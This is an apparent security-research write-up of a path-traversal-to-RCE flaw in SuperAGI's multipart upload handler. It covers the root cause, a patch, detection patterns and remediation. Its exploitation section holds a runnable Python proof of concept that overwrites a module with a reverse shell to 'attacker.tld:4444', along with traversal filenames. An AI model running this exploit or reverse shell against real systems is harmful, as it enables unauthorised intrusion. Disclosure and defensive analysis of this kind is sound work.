home intel superagi-path-traversal-rce-multipart-upload-handler
CVE Analysis 2026-04-20 · 8 min read

CVE-2026-6615: Path Traversal to RCE in SuperAGI Multipart Upload

SuperAGI's multipart upload handler fails to sanitize the filename argument, enabling path traversal that allows remote attackers to write arbitrary files and achieve code execution.

#path-traversal#file-upload#remote-code-execution#multipart-handler#directory-traversal
Technical mode — for security professionals
▶ Attack flow — CVE-2026-6615 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-6615Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-6615 is a path traversal vulnerability in TransformerOptimus SuperAGI versions up to and including 0.0.14. The flaw lives in the Upload function inside superagi/controllers/resources.py, which handles multipart file uploads. Because the server never sanitizes or validates the name field extracted from the multipart form data, an attacker can supply a filename like ../../app/superagi/models/agent.py and overwrite arbitrary files accessible to the process user. Given that SuperAGI is a Python-based autonomous agent framework that executes code on behalf of AI tasks, overwriting a loaded module or a startup script trivially escalates path traversal into full remote code execution. The exploit is publicly available and requires no authentication in default deployments.

Root cause: The Upload handler in resources.py passes the attacker-controlled name parameter from the multipart form directly into an os.path.join call without stripping leading slashes, .. sequences, or validating that the resolved path falls within the intended upload directory.

Affected Component

File: superagi/controllers/resources.py
Function: Upload (registered as a FastAPI/Flask route handler)
Transport: HTTP multipart/form-data, reachable over the network on the default port (8001)
Authentication: None enforced on the upload endpoint in versions ≤ 0.0.14
Dependency chain: Uploados.path.joinopen(..., 'wb') → disk write

Root Cause Analysis

The following pseudocode reconstructs the vulnerable handler from the described behavior and the SuperAGI 0.0.14 codebase structure. The bug is a single missing validation call before the path is constructed.


// Pseudocode: reconstructed from superagi/controllers/resources.py
// Original is Python; represented here for structural clarity.

// Multipart form fields:
//   "file"  -> binary content
//   "name"  -> attacker-supplied filename string

int Upload(multipart_form_t *form, config_t *cfg) {
    char *name     = form_get_field(form, "name");   // attacker-controlled
    char *content  = form_get_field(form, "file");
    size_t content_len = form_get_field_len(form, "file");

    // BUG: no sanitization of 'name' before path construction.
    // os.path.join(RESOURCES_DIR, name) in Python will discard the base
    // directory entirely if 'name' is an absolute path, or will traverse
    // upward if 'name' contains '../' sequences.
    char dest_path[PATH_MAX];
    path_join(dest_path, cfg->resources_dir, name);  // BUG: traversal not prevented

    // BUG: resolved path never checked to confirm it is a child of resources_dir
    FILE *fp = fopen(dest_path, "wb");
    if (!fp) return HTTP_500;

    fwrite(content, 1, content_len, fp);  // arbitrary write to traversed location
    fclose(fp);

    return HTTP_200;
}

In Python, os.path.join("/app/resources", "../../etc/cron.d/evil") evaluates to /app/etc/cron.d/evil — still traversing two directories up from resources. An absolute path like /app/superagi/models/agent.py completely overrides the base. Neither case is rejected.


# Actual Python equivalent of the vulnerable logic (reconstructed, ~0.0.14):

@router.post("/resources/upload")
async def upload_file(name: str = Form(...), file: UploadFile = File(...)):
    resource_dir = get_config("RESOURCES_INPUT_ROOT_DIR")  # e.g. /app/resources/input

    # BUG: os.path.join does not confine path to resource_dir
    file_path = os.path.join(resource_dir, name)           # traversal here

    # BUG: no call to os.path.realpath() + prefix check before open
    with open(file_path, "wb") as f:                       # arbitrary write
        contents = await file.read()
        f.write(contents)

    # file metadata stored in DB referencing the attacker-controlled path
    Resource.add_resource(name=name, path=file_path, ...)
    return {"file": file_path}

Exploitation Mechanics


EXPLOIT CHAIN:
1. Identify a running SuperAGI instance (default port 8001, no auth on /resources/upload).

2. Enumerate a writable Python module that is imported at request time or on agent
   startup. Good candidates:
     - /app/superagi/helper/resource_helper.py  (imported by every agent run)
     - /app/superagi/models/agent.py             (imported on task dispatch)

3. Craft a multipart POST where:
     name = "../../superagi/helper/resource_helper.py"
     file = 

4. Server calls:
     os.path.join("/app/resources/input",
                  "../../superagi/helper/resource_helper.py")
   resolving to:
     /app/superagi/helper/resource_helper.py
   — the module file is overwritten in place.

5. Trigger module reload:
   a. (Passive) Wait for any agent task to be dispatched; Python's import
      caching is bypassed because gunicorn/uvicorn workers restart on SIGHUP,
      OR the module is re-imported dynamically via importlib.
   b. (Active) POST /agents/run with a new agent task, which imports
      resource_helper fresh in a subprocess worker — payload executes.

6. Payload achieves OS command execution under the superagi process user
   (typically root in default Docker deployments).

A minimal proof-of-concept request looks like:


import requests

TARGET = "http://target:8001"
PAYLOAD = b"""
import os, socket, subprocess
_s = socket.socket()
_s.connect(("attacker.tld", 4444))
subprocess.call(["/bin/sh","-i"], stdin=_s.fileno(),
                stdout=_s.fileno(), stderr=_s.fileno())
"""

# Traverse two levels up from /app/resources/input/
TRAVERSAL_NAME = "../../superagi/helper/resource_helper.py"

resp = requests.post(
    f"{TARGET}/resources/upload",
    data={"name": TRAVERSAL_NAME},
    files={"file": ("x", PAYLOAD, "application/octet-stream")},
)
print(resp.status_code, resp.json())
# 200 {"file": "/app/superagi/helper/resource_helper.py"}  <- confirmed overwrite

Memory Layout

This is a logic/file-write vulnerability rather than a heap corruption bug, so the relevant "layout" is the on-disk and in-process module state:


FILESYSTEM STATE — BEFORE UPLOAD:
  /app/resources/input/          <- intended write boundary
  /app/superagi/helper/
    resource_helper.py           <- legitimate module, imported by workers
    [sha256: 3a9f...e21c]

FILESYSTEM STATE — AFTER TRAVERSAL WRITE:
  /app/resources/input/          <- boundary completely bypassed
  /app/superagi/helper/
    resource_helper.py           <- OVERWRITTEN with attacker payload
    [sha256: deadbeef...0000]    <- mtime updated, size differs

PROCESS IMPORT STATE (uvicorn worker):
  sys.modules["superagi.helper.resource_helper"]
    -> module object @     <- stale cached copy in long-lived worker
       __file__ = "/app/superagi/helper/resource_helper.py"

  On next agent subprocess spawn (fresh Python interpreter):
    import superagi.helper.resource_helper
    -> reads overwritten file from disk
    -> executes attacker shellcode at module import time

Patch Analysis

The correct fix requires two independent controls: normalize the path with os.path.realpath and assert the result is prefixed by the intended base directory. Either check alone is insufficient.


# BEFORE (vulnerable, ~0.0.14):
@router.post("/resources/upload")
async def upload_file(name: str = Form(...), file: UploadFile = File(...)):
    resource_dir = get_config("RESOURCES_INPUT_ROOT_DIR")
    file_path = os.path.join(resource_dir, name)   # no validation
    with open(file_path, "wb") as f:
        f.write(await file.read())
    return {"file": file_path}


# AFTER (patched):
@router.post("/resources/upload")
async def upload_file(name: str = Form(...), file: UploadFile = File(...)):
    resource_dir = os.path.realpath(get_config("RESOURCES_INPUT_ROOT_DIR"))

    # Strip any leading slashes/dots to prevent os.path.join override
    safe_name = os.path.basename(name)             # drop all directory components
    if not safe_name or safe_name != name:         # reject if name had path separators
        raise HTTPException(status_code=400, detail="Invalid filename")

    candidate = os.path.realpath(os.path.join(resource_dir, safe_name))

    # PATCH: verify resolved path is strictly under resource_dir
    if not candidate.startswith(resource_dir + os.sep):
        raise HTTPException(status_code=400, detail="Path traversal detected")

    with open(candidate, "wb") as f:
        f.write(await file.read())
    return {"file": candidate}

Note: using os.path.basename alone is the minimal safe fix for flat-file uploads; if subdirectory organization is needed, each component must be validated individually against a whitelist of allowed characters before rejoining.

Detection and Indicators

HTTP access logs — look for POST requests to /resources/upload where the name multipart field contains ../, URL-encoded variants (%2e%2e%2f, %2e%2e/, ..%2f), or an absolute path beginning with /:


# Nginx/uvicorn log pattern (traversal attempt):
POST /resources/upload HTTP/1.1  <- multipart body contains name=../../...

# Grep for encoded variants in raw request capture:
name=%2e%2e%2fsuperagi%2fhelper%2fresource_helper.py
name=..%2fsuperagi%2fhelper%2fresource_helper.py
name=/app/superagi/models/agent.py

Filesystem indicators — unexpected mtime changes on .py files outside /app/resources/; inotify alerts on /app/superagi/ subtree triggered by the web worker UID.

Runtime indicators — outbound connections from the superagi process immediately following an agent task dispatch; /proc/<pid>/fd showing open sockets to non-configured endpoints.

Remediation

  • Immediate: Update to a version of SuperAGI that includes the path validation fix. If no patched release is available, apply the diff above as a local patch.
  • Defense-in-depth: Run SuperAGI workers with a read-only filesystem mount for /app/superagi/; only /app/resources/ should be writable by the web process.
  • Network controls: Place the SuperAGI API behind an authenticated reverse proxy. The upload endpoint should never be directly Internet-accessible.
  • Integrity monitoring: Deploy a file integrity monitor (e.g., auditd, Falco rule) on /app/superagi/**/*.py to alert on writes from the web server process UID.
  • Container hardening: Drop DAC_OVERRIDE and run the container as a non-root UID; this limits the blast radius of arbitrary file writes to files owned by that UID.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →